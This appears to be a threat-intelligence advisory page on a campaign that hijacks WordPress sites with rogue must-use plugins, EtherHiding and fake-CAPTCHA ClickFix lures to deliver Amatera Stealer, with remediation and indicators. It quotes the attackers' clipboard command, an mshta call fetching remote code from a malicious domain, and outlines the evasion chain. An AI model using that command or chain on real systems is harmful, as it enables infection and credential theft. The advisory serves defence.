Hundreds of WordPress Sites Hijacked via Malicious Plugins to Deploy Amatera Stealer through EtherHiding and ClickFix
Hundreds of WordPress Sites Hijacked via Malicious Plugins (TL-2026-2214), also tracked as NoChain Campaign, is a high-severity malware campaign, first published 2026-08-29. It has no confirmed attribution, affects WordPress WordPress CMS (self-hosted sites, must-use plugin directory), maps to 14 MITRE ATT&CK techniques (T1005, T1027.003, T1053.005), and is covered by 9 detection rules and 17 indicators of compromise.
Key facts for TL-2026-2214
- Threat ID
- TL-2026-2214
- Also known as
- NoChain Campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-08-29
- Last reviewed
- 2026-08-29
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Detection rules
- 9
- Indicators of compromise
- 17
Malware and tooling in Hundreds of WordPress Sites Hijacked via Malicious Plugins
Malware and tooling: ACR Stealer, AcridRain, Amatera Stealer, Emmenhtal, NoChain, PowerShell, mshta.exe
Netskope Threat Labs uncovered a campaign that plants rogue must-use WordPress plugins (site-helper-<hex>) registering a persistent malicious Service Worker (nochain-sw.js) which strips CSP headers, queries a Base blockchain smart contract via EtherHiding for a fake reCAPTCHA overlay, and uses ClickFix to trick Windows visitors into running an mshta command that unpacks a polyglot MP3/HTA file, bypasses AMSI, and reflectively loads the Amatera Stealer (aka ACR Stealer/AcridRain) via the Emmenhtal loader and steganographic image payload.
How Hundreds of WordPress Sites Hijacked via Malicious Plugins works
Attackers have compromised hundreds of self-hosted WordPress sites with a malicious must-use plugin named in the pattern site-helper-<hex>, which loads automatically and drops two scripts: front-probe.js and a Service Worker named nochain-sw.js. Once registered in a visitor's browser, the Service Worker persists beyond the initial page load, intercepts subsequent HTML responses, strips the Content-Security-Policy header, and injects attacker-controlled JavaScript. That injected script queries a smart contract on the Base blockchain (address 0x58460d0b3d4d6b03761c89120393c0c676676496) to fetch further instructions -- the EtherHiding technique -- which is resilient to takedown because the payload lives on an immutable, decentralized ledger rather than a seizable domain or host. The campaign deliberately filters out requests from /wp-admin and /wp-login.php and skips authenticated administrator sessions, reducing the odds that a site owner notices the infection.
For an ordinary Windows visitor, the resolved instructions render a counterfeit Google reCAPTCHA overlay. Clicking the fake verification checkbox copies a command (mshta http://timelevel12[.]com/big) to the clipboard and instructs the victim, via the ClickFix social-engineering pattern, to open the Windows Run dialog (Win+R), paste, and execute it. mshta.exe retrieves a polyglot file that is simultaneously a valid MP3 and an HTA application; the HTA layer creates a hidden scheduled task and launches an obfuscated, fileless PowerShell stage that patches/bypasses AMSI in memory before continuing execution. PowerShell then fetches the Emmenhtal loader, which downloads a steganographic JPEG (hosted on a legitimate image CDN) and extracts, decrypts, and decompresses a payload hidden in the image's pixel data. That payload is the Amatera Stealer -- distributed as WPA.exe -- which is loaded reflectively straight into memory with minimal disk artifacts.
Amatera is a rebrand and substantial upgrade of ACR Stealer (aka AcridRain), a C++ malware-as-a-service tool originally sold by the actor SheldIO until its source was sold off and original sales suspended in mid-2024. As documented independently by Proofpoint and Microsoft, Amatera targets dozens of Chromium and Gecko browsers plus scores of desktop cryptocurrency wallets, uses WoW64 syscalls with PEB-based dynamic API resolution to evade user-mode EDR hooks, implements a custom NTSockets networking stack to bypass network-based EDR hooking, and communicates with C2 infrastructure partly over DNS-over-HTTPS to obscure domain lookups. A closely related, independently reported Amatera/ACR intrusion chain also uses ClickFix plus MSHTA plus obfuscated PowerShell plus steganography-assisted in-memory execution, indicating this WordPress campaign reuses an established, actively maintained delivery toolkit rather than bespoke one-off tooling. A separate, contemporaneously reported campaign (WordlistLoader, attributed by other researchers to the EtherHiding-focused cluster UNC5142 abusing over 14,000 WordPress sites via a distinct Base64-blob JavaScript injection and WebDAV-delivered Python loader) also ends in Amatera execution, showing EtherHiding-plus-Amatera has become a repeatable pattern across at least two distinct delivery chains rather than a single actor's one-off campaign.
MITRE ATT&CK techniques used in TL-2026-2214
Collection
Defense Evasion
T1027.003 Steganography; T1140 Deobfuscate/Decode Files or Information; T1620 Reflective Code Loading
Persistence
T1053.005 Scheduled Task; T1505 Server Software Component
Execution
T1059.001 PowerShell; T1204.004 Malicious Copy and Paste
Command and Control
T1071.004 DNS; T1102.001 Dead Drop Resolver
stealth
Credential Access
T1555.003 Credentials from Web Browsers
Resource Development
defense-impairment
Affected products and versions in Hundreds of WordPress Sites Hijacked via Malicious Plugins
- WordPress — WordPress CMS (self-hosted sites, must-use plugin directory)
Vulnerable versions: unspecified - initial-access vector for gaining WordPress admin/deploy access is not disclosed in current reporting - Microsoft — Windows
Vulnerable versions: all supported Windows versions with mshta.exe and PowerShell available
Remediation for Hundreds of WordPress Sites Hijacked via Malicious Plugins
Immediate actions
- Audit all WordPress installations for rogue must-use plugins matching the pattern site-helper-<hex> in wp-content/mu-plugins and remove them
- Locate and delete the malicious nochain-sw.js Service Worker registration and front-probe.js injection; instruct site visitors to clear browser Service Worker caches for the affected domain
- Block network egress and DNS resolution to ultraspeed[.]pro, timelevel12[.]com, gpuh.gravityzone[.]army, and gw.proxyvector[.]cc
- Rotate WordPress administrator credentials, API keys, and any database secrets on affected sites, and audit all admin accounts for unauthorized additions
- Warn users organization-wide against pasting clipboard content into the Windows Run dialog (Win+R) in response to CAPTCHA or 'verification' prompts (ClickFix pattern)
Workarounds
- Restrict or disable Service Worker registration for anonymous/unauthenticated visitors via a Content-Security-Policy worker-src directive on WordPress front-end responses
- Restrict mshta.exe execution for standard users via Windows Defender Application Control or AppLocker
Longer-term hardening
- Deploy EDR/AMSI-aware endpoint protection capable of detecting in-memory PowerShell execution, AMSI patching, and reflective code loading
- Harden WordPress admin access with MFA and restrict write access to the mu-plugins directory to trusted CI/CD deployment pipelines only
- Add file-integrity monitoring on wp-content/mu-plugins and theme/plugin directories to catch unauthorized plugin drops
- Monitor DNS-over-HTTPS traffic patterns for anomalous resolver usage that could mask C2 domain lookups
- Track blockchain-hosted (EtherHiding) C2 patterns at the network layer, since on-chain dead-drop resolvers cannot be taken down like a normal domain or host
Timeline of Hundreds of WordPress Sites Hijacked via Malicious Plugins
- ACR Stealer (AcridRain), the C++ malware-as-a-service later rebranded into Amatera, has its source code sold off and original public sales suspended by developer SheldIO.
- First public mentions and control-panel scans of the Amatera Stealer builder/panel surface online, marking the start of the ACR Stealer rebrand.
- Proofpoint publishes detailed analysis confirming Amatera Stealer as a significantly upgraded rebrand of ACR Stealer, sold as MaaS for $199/month to $1,499/year via Telegram-based support.
- Microsoft documents two ACR Stealer/Amatera intrusion chains, including a fileless ClickFix-to-Mshta-to-PowerShell-to-steganography chain matching the tooling later observed in the WordPress campaign.
- Cyber Press and GBHackers publish corroborating technical breakdowns of the campaign, detailing the polyglot MP3/HTA payload, steganographic image payload delivery, and the full network IOC set.
- Netskope Threat Labs discloses a campaign compromising hundreds of WordPress sites with rogue site-helper-<hex> must-use plugins and a nochain-sw.js Service Worker that uses EtherHiding (Base blockchain) and ClickFix to deploy Amatera Stealer.
Sources cited for Hundreds of WordPress Sites Hijacked via Malicious Plugins
- WordPress Service Worker Uses EtherHiding, ClickFix and Steganography to Deploy Amatera Stealer
- Hundreds of WordPress Sites Hijacked to Show Fake reCAPTCHA and Steal Windows Passwords
- 'Etherhiding' Blockchain Technique Masks Malicious Code in WordPress Sites
- WordlistLoader Delivers Amatera via ClickFix, SynkLoader Phishes Windows Passwords
- ACR Stealer: Two observed intrusion chains amid increased threat activity
- Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication
More in malware
- Multi-Stage Cobalt Strike Loader Deploys Stageless Beacon via Anti-Sandbox .NET Chain
- Access-Code-Gated Phishing Chain Delivers Vidar Infostealer via DocuSign Impersonation
- ScarfaceStealer: Electron-Delivered Infostealer with Sandbox-Scoring Evasion and Smart-Contract C2
- Gigabud Android Banking Trojan Clones Banking Apps via Hidden Work Profile (Vwork/GoldFactory)
- LegionLoader Malware Distributed via Fake Cloudflare CAPTCHA Using the ClickFix Technique
Detection coverage for TL-2026-2214
As of 2026-08-29, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2214 across Splunk SPL, Microsoft KQL and Sigma, covering 17 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-2214
2 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.